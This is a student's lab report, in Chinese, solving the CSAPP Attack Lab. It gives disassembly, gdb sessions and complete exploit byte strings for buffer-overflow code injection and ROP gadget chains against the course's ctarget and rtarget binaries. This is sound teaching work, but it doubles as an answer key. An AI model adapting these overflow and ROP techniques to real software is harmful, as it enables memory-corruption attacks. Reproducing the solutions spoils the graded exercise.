CSAPP-AttackLab Report

1 评分

53	78	Wed Nov 15 22:31:31 2023	0	invalid	invalid	invalid	invalid	invalid

2 解题思路

2.1 $ctarget$ 1

研究$getbuf$的反汇编如下，发现在栈上分配了$0x18$个字节：

```
00000000000019d9 <getbuf>:
    19d9:    48 83 ec 18              sub    $0x18,%rsp
    19dd:    48 89 e7                 mov    %rsp,%rdi
    19e0:    e8 94 02 00 00           callq  1c79 <Gets>
    19e5:    b8 01 00 00 00           mov    $0x1,%eax
    19ea:    48 83 c4 18              add    $0x18,%rsp
    19ee:    c3                       retq
```

用gdb运行$ctarget$，用$info\ address\ touch1$获取$touch1$的地址：

```
(gdb) info address touch1
Symbol "touch1" is a function at address 0x5555555559ef.
```

那我们的目标很明确，把返回地址改成$0x5555555559ef$，注意小端存储。我们需要的字符串，是填满了 24 个字节后，填上这个地址，例如 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ef 59 55 55 55 55 00 00

运行如下：

```
jovyan@jupyter-10225501464:~/target78$ gdb ctarget
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ctarget...done.
(gdb) r < ctargetlraw.bin
Starting program: /home/jovyan/target78/ctarget < ctargetlraw.bin
Cookie: 0x25866403
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[Inferior 1 (process 284) exited normally]
```

2.2 $ctarget2$

对于$touch2$函数，我们发现，它先将$cookie$和$\%rdi$比较（$12ad: cmp$），他们应当相等。

```
0000000000001a1d <touch2>:
    1a1d:   48 83 ec 08             sub    $0x8,%rsp
    1a21:   89 fa                   mov    %edi,%edx
    1a23:   c7 05 af 39 20 00 02    movl   $0x2,0x2039af(%rip)        # 2053dc <vlevel>
    1a2a:   00 00 00
    1a2d:   39 3d b1 39 20 00       cmp    %edi,0x2039b1(%rip)        # 2053e4 <cookie>
    1a33:   74 2a                   je     1a5f <touch2+0x42>
    1a35:   48 8d 35 7c 19 00 00    lea    0x197c(%rip),%rsi        # 33b8 <_IO_stdin_used+0x318>
    1a3c:   bf 01 00 00 00          mov    $0x1,%edi
    1a41:   b8 00 00 00 00          mov    $0x0,%eax
    1a46:   e8 e5 f4 ff ff          callq  f30 <__printf_chk@plt>
    1a4b:   bf 02 00 00 00          mov    $0x2,%edi
    1a50:   e8 64 05 00 00          callq  1fb9 <fail>
    1a55:   bf 00 00 00 00          mov    $0x0,%edi
    1a5a:   e8 21 f5 ff ff          callq  f80 <exit@plt>
    1a5f:   48 8d 35 2a 19 00 00    lea    0x192a(%rip),%rsi        # 3390 <_IO_stdin_used+0x2f0>
    1a66:   bf 01 00 00 00          mov    $0x1,%edi
    1a6b:   b8 00 00 00 00          mov    $0x0,%eax
    1a70:   e8 bb f4 ff ff          callq  f30 <__printf_chk@plt>
    1a75:   bf 02 00 00 00          mov    $0x2,%edi
    1a7a:   e8 6a 04 00 00          callq  1ee9 <validate>
    1a7f:   eb d4                   jmp    1a55 <touch2+0x38>
```

对于我的$target78$，$cookie$是$0x25866403$。因此我们的任务是，一方面，记录$getbuf$开辟空间的$\%rsp$，因为这里存放着我们注入的代码，并且把返回地址改为这个值，我们用gdb调试可以发现是$0x5567c458$。

```
(gdb) r
Starting program: /home/jovyan/10225501464/target78/ctarget
Cookie: 0x25866403
Breakpoint 1, getbuf () at buf.c:12
(gdb) si
(gdb) p $rsp
$1 = (void *) 0x5567c458
```

而对于我们需要注入的代码，首先要把$cookie$放到$\%rdi$中，然后把$touch2$的地址压入栈中并返回，这样就会跳转到$touch2$了。$touch2$的地址同样由gdb调试确定，为$0x555555555a1d$。那么，我们的汇编代码如下：

$movq \quad \$0x25866403, \%rdi$

$movabs \ \$0x555555555a1d, \%rax$

$pushq \quad \%rax$

ret

我们可以用gcc汇编这段代码，再用$objdump$反汇编，就可以得到二进制表示，如下：

0: 48 $c7$ $c7$ 03 64 86 25 $\quad mov \quad \$0x25866403, \%rdi$

7: 48 $b8$ 1d 5a 55 55 55 $\quad movabs \ \$0x555555555a1d, \%rax$

e: 55 00 00

11: 50 $\quad push \quad \%rax$

12: $c3$ $\quad retq$

所以我们最后答案如下：

48 $c7$ $c7$ 03 64 86 25

48 $b8$ 1d 5a 55 55 55

55 00 00

50

$c3$

00 00 00 00 00

58 $c4$ 67 55 00 00 00 00

倒数第二行用于填充满24个字节。

运行如下：

```
jovyan@jupyter-10225501464:~/target78$ gdb ctarget
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ctarget...done.
(gdb) r < ctarget2raw.bin
Starting program: /home/jovyan/target78/ctarget < ctarget2raw.bin
Cookie: 0x25866403
Type string:Touch2!: You called touch2(0x25866403)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[Inferior 1 (process 205) exited normally]
```

2.3 *ctarget3*

研究*touch3*的反汇编，发现它会调用*hexmatch*：

```
0000000000001b34 <touch3>:
    1b34:   53                      push   %rbx
    1b35:   48 89 fb                mov    %rdi,%rbx
    1b38:   c7 05 9a 38 20 00 03    movl   $0x3,0x20389a(%rip)        # 2053dc <vlevel>
    1b3f:   00 00 00
    1b42:   48 89 fe                mov    %rdi,%rsi
    1b45:   8b 3d 99 38 20 00       mov    0x203899(%rip),%edi        # 2053e4 <cookie>
    1b4b:   e8 31 ff ff ff          callq  1a81 <hexmatch>
    1b50:   85 c0                   test   %eax,%eax
    1b52:   74 2d                   je     1b81 <touch3+0x4d>
    1b54:   48 89 da                mov    %rbx,%rdx
    1b57:   48 8d 35 82 18 00 00    lea    0x1882(%rip),%rsi        # 33e0 <_IO_stdin_used+0x340>
    1b5e:   bf 01 00 00 00          mov    $0x1,%edi
    1b63:   b8 00 00 00 00          mov    $0x0,%eax
    1b68:   e8 c3 f3 ff ff          callq  f30 <__printf_chk@plt>
    1b6d:   bf 03 00 00 00          mov    $0x3,%edi
    1b72:   e8 72 03 00 00          callq  1ee9 <validate>
    1b77:   bf 00 00 00 00          mov    $0x0,%edi
    1b7c:   e8 ff f3 ff ff          callq  f80 <exit@plt>
    1b81:   48 89 da                mov    %rbx,%rdx
    1b84:   48 8d 35 7d 18 00 00    lea    0x187d(%rip),%rsi        # 3408 <_IO_stdin_used+0x368>
    1b8b:   bf 01 00 00 00          mov    $0x1,%edi
    1b90:   b8 00 00 00 00          mov    $0x0,%eax
    1b95:   e8 96 f3 ff ff          callq  f30 <__printf_chk@plt>
    1b9a:   bf 03 00 00 00          mov    $0x3,%edi
    1b9f:   e8 15 04 00 00          callq  1fb9 <fail>
    1ba4:   eb d1                   jmp    1b77 <touch3+0x43>
```

*hexmatch*汇编代码如下：

```
0000000000001a81 <hexmatch>:
    1a81:   41 54                   push   %r12
    1a83:   55                      push   %rbp
    1a84:   53                      push   %rbx
    1a85:   48 83 c4 80             add    $0xffffffffffffff80,%rsp
    1a89:   89 fd                   mov    %edi,%ebp
    1a8b:   48 89 f3                mov    %rsi,%rbx
    1a8e:   64 48 8b 04 25 28 00    mov    %fs:0x28,%rax
    1a95:   00 00
    1a97:   48 89 44 24 78          mov    %rax,0x78(%rsp)
    1a9c:   31 c0                   xor    %eax,%eax
    1a9e:   e8 4d f4 ff ff          callq  ef0 <random@plt>
    1aa3:   48 89 c1                mov    %rax,%rcx
    1aa6:   48 ba 0b d7 a3 70 3d    movabs $0xa3d70a3d70a3d70b,%rdx
    1aad:   0a d7 a3
    1ab0:   48 f7 ea                imul   %rdx
    1ab3:   48 01 ca                add    %rcx,%rdx
    1ab6:   48 c1 fa 06             sar    $0x6,%rdx
    1aba:   48 89 c8                mov    %rcx,%rax
    1abd:   48 c1 f8 3f             sar    $0x3f,%rax
    1ac1:   48 29 c2                sub    %rax,%rdx
    1ac4:   48 8d 04 92             lea    (%rdx,%rdx,4),%rax
    1ac8:   48 8d 14 80             lea    (%rax,%rax,4),%rdx
    1acc:   48 8d 04 95 00 00 00    lea    0x0(,%rdx,4),%rax
    1ad3:   00
    1ad4:   48 29 c1                sub    %rax,%rcx
    1ad7:   4c 8d 24 0c             lea    (%rsp,%rcx,1),%r12
    1adb:   41 89 e8                mov    %ebp,%r8d
    1ade:   48 8d 0d 9f 18 00 00    lea    0x189f(%rip),%rcx        #
    1ae5:   48 c7 c2 ff ff ff ff    mov    $0xffffffffffffffff,%rdx
    1aec:   be 01 00 00 00          mov    $0x1,%esi
    1af1:   4c 89 e7                mov    %r12,%rdi
    1af4:   b8 00 00 00 00          mov    $0x0,%eax
    1af9:   e8 b2 f4 ff ff          callq  fb0 <__sprintf_chk@plt>
    1afe:   ba 09 00 00 00          mov    $0x9,%edx
    1b03:   4c 89 e6                mov    %r12,%rsi
    1b06:   48 89 df                mov    %rbx,%rdi
    1b09:   e8 e2 f2 ff ff          callq  df0 <strncmp@plt>
    1b0e:   85 c0                   test   %eax,%eax
    1b10:   0f 94 c0                sete   %al
    1b13:   48 8b 5c 24 78          mov    0x78(%rsp),%rbx
    1b18:   64 48 33 1c 25 28 00    xor    %fs:0x28,%rbx
    1b1f:   00 00
    1b21:   75 0c                   jne    1b2f <hexmatch+0xae>
    1b23:   0f b6 c0                movzbl %al,%eax
    1b26:   48 83 ec 80             sub    $0xffffffffffffff80,%rsp
    1b2a:   5b                      pop    %rbx
    1b2b:   5d                      pop    %rbp
    1b2c:   41 5c                   pop    %r12
    1b2e:   c3                      retq
    1b2f:   e8 fc f2 ff ff          callq  e30 <__stack_chk_fail@plt>
```

它调用了*strncmp*，要求一个字符串形式的*cookie*进行匹配，对于我们的*cookie*

来说，就是25866403的字符对应的*ASCII*码，也就是32 35 38 36 36 34 30 33 00，最后的00表示字符串结尾。不过我们需要注意的是，调用*touch3*时，*%rsp*位于*test*的末端，但*hexmatch*会修改栈，*1a85*给*%rsp*加上了一个负数，也就是下移了，指向了之前*getbuf*的区域，并且对这个区域进行了一些操作，也就是说如果我们直接把字符串放在*getbuf*的栈帧里面，可能会被修改。我们可以考虑放在*test*的栈帧里面，例如恰好就在返回地址上面。*test*的反汇编如下，它先开辟了8字节的空间：

```
0000000000001ba6 <test>:
    1ba6:   48 83 ec 08             sub    $0x8,%rsp
    1baa:   b8 00 00 00 00          mov    $0x0,%eax
    1baf:   e8 25 fe ff ff          callq  19d9 <getbuf>
    1bb4:   89 c2                   mov    %eax,%edx
    1bb6:   48 8d 35 73 18 00 00    lea    0x1873(%rip),%rsi
    1bbd:   bf 01 00 00 00          mov    $0x1,%edi
    1bc2:   b8 00 00 00 00          mov    $0x0,%eax
    1bc7:   e8 64 f3 ff ff          callq  f30 <__printf_chk@plt>
    1bcc:   48 83 c4 08             add    $0x8,%rsp
    1bd0:   c3                      retq
```

我们用*gdb*调试，在*test*断点，确定此时的*%rsp*为*0x5567c478*，另外*touch3*的地址为*0x555555555b34*。

```
(gdb) b test
Breakpoint 2 at 0x555555555ba6: file visible.c, line 90.
(gdb) r
Starting program: /home/jovyan/10225501464/target78/ctarget

Breakpoint 2, test () at visible.c:90
(gdb) si
(gdb) p $rsp
$2 = (void *) 0x5567c478
```

我们的汇编及机器码如下：

0: 48 *c7 c7* 78 *c4* 67 55 *mov* $*0x5567c478*,*%rdi*

7: 48 *b8* 34 *5b* 55 55 55 *movabs* $*0x555555555b34*,*%rax*

e: 55 00 00

11: 50 *push* *%rax*

12: *c3* *retq*

最后答案如下：

48 *c7 c7* 78 *c4* 67 55

48 *b8* 34 *5b* 55 55 55

55 00 00

50

c3

00 00 00 00 00

58 *c4* 67 55 00 00 00 00

32 35 38 36 36 34 30 33 00

运行结果如下：

```
jovyan@jupyter-10225501464:~/target78$ gdb ctarget
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ctarget...done.
(gdb) r <ctarget3raw.bin
Starting program: /home/jovyan/target78/ctarget <ctarget3raw.bin
Cookie: 0x25866403
Type string:Touch3!: You called touch3("25866403")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[Inferior 1 (process 276) exited normally]
```

2.4 $rtarget1$

$rtarget$要求我们利用$farm$中的$gadget$实现ROP，对于第一个任务，也就是$touch2$，我们需要把$cookie$放到$\%rdi$里面，然后调用$touch2$。我们发现，所有$movq$指令，都是48 89开头的，我们在$farm$的反汇编里面检索，发现我们可以利用的是48 89 $c7$和48 89 $e0$，分别是$movq\ \%rax,\%rdi$和$movq\ \%rsp,\%rax$。我们想把$cookie$放到$\%rdi$中，那么我们只要想办法先放到$\%rax$中，再用$movq$放到$\%rdi$中。$cookie$是我们写到栈里面的，我们需要把栈的数据放到$\%rax$里面，即检索$popq\ \%rax$的机器码58，我们可以在$setval_301$里面发现我们想要的58 90 $c3$（90是无操作），我们用gdb确定其在$rtarget$中的地址为$0x555555555bdb$，而$movq\ \%rax,\%rdi$是在$0x555555555be0$，$touch2$在$0x555555555a1d$。我们的字符串如下：

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

db $5b$ 55 55 55 55 00 00

03 64 86 25 00 00 00 00

$e0$ $5b$ 55 55 55 55 00 00

$1d$ $5a$ 55 55 55 55 00 00

返回地址被我们改成了$0x555555555bdb$，程序跳转到这个位置，同时$\%rsp+8$，指向03 64 86 25 00 00 00 00，也就是我们的$cookie$，执行指令$popq\ \%rax$，把$cookie$放到$\%rax$中，再给$\%rsp+8$，那么程序新的返回地址是$0x555555555be0$，执行$movq\ \%rax,\%rdi$，再返回至$0x555555555a1d$，也就是$touch2$。

运行如下：

```
jovyan@jupyter-10225501464:~/target78$ gdb rtarget
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from rtarget...done.
(gdb) r < rtargetlraw.bin
Starting program: /home/jovyan/target78/rtarget < rtargetlraw.bin
Cookie: 0x25866403
Type string:Touch2!: You called touch2(0x25866403)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[Inferior 1 (process 304) exited normally]
```

2.5 $rtarget2$

我们还是需要传入字符串形式的$cookie$的地址，但此时的问题是，栈地址是随机的，我们不能用一个常量。我们可以用$\%rsp + offset$对$cookie$字符串进行定位。首先，我们在$farm$中可以发现一个add_xy函数，他把$\%rdi$和$\%rsi$中的值相加，并且放到$\%rax$里面。那么，我们要把$\%rsp$放到$\%rdi$里面，再把我们的$offset$放到$\%rsi$里面，把相加结果$\%rax$放到$\%rdi$里面。好消息是，刚才我们已经找到了$movq\ \%rsp,\%rax$和$movq\ \%rax,\%rdi$，已经完成了一小步。但坏消息是，我们没有其他的$movq$指令了。不过我们发现，我们的$offset$只是$\%rsp$到字符串地址的距离，这中间是我们写的指令，并不会太大，用32位也可以装下，我们继续检索$movl$相关的指令。我们需要注意的是，$offset$是我们写在栈里面的，我们需要一个$popq$指令把它弹出，检索相关指令，我们发现只有$popq\ \%rax$，也就是说，我们需要实现$\%eax$到$\%esi$的搬运。首先，我们最后终点是$\%esi$，我们检索相关指令后，发现只有$89\ d6$，也就是$movl\ \%edx,\%esi$，再检索$\%edx$相关的，我们发现了$89\ ca$，也就是$movl\ \%ecx,\%edx$，继续检索可以找到$movl\ \%eax,\%ecx$。和上一题类似，我们用gdb调试确定它们的地址，最后的字符串如下：

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
67 $5c$ 55 55 55 55 00 00
$e0$ $5b$ 55 55 55 55 00 00
db $5b$ 55 55 55 55 00 00
48 00 00 00 00 00 00 00
85 $5c$ 55 55 55 55 00 00
40 $5c$ 55 55 55 55 00 00
$1b$ $5c$ 55 55 55 55 00 00

14 5c 55 55 55 55 00 00
e0 5b 55 55 55 55 00 00
34 5b 55 55 55 55 00 00
32 35 38 36 36 34 30 33 00
其中，第二行对应地址的指令是$movq$ $\%rsp,\%rax$，第三行是$movq$ $\%rax,\%rdi$，第四行是$popq$ $\%rax$，第五行是$offset$，也就是要被$popq$的值，这个值我们实际上最后才能确定，我们先预留这个位置，第六行是$movl$ $\%eax,\%ecx$，第七行是$movl$ $\%ecx,\%edx$，第八行是$movl$ $\%edx,\%esi$，此时$\%rsp$和$offset$分别被放进了$\%rdi$和$\%rsi$。第九行是add_xy，第十行是$movq$ $\%rax,\%rdi$，把和也就是字符串地址放到$\%rdi$中，第十一行是$touch3$，最后是字符串。一开始执行$movq$ $\%rsp,\%rax$时，$\%rsp$指向e0 5b 55 55 55 55 00 00，距离字符串72个字节，也就是$0x48$，所以我们的$offset$为48。
运行如下：

```
jovyan@jupyter-10225501464:~/10225501464/target78$ gdb rtarget
GNU gdb (Ubuntu 8.1.1-0ubuntu1) 8.1.1
Copyright (C) 2018 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from rtarget...done.
(gdb) r < rtarget2raw.bin
Starting program: /home/jovyan/10225501464/target78/rtarget < rtarget2raw.bin
Cookie: 0x25866403
Type string:Touch3!: You called touch3("25866403")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[Inferior 1 (process 602) exited normally]
```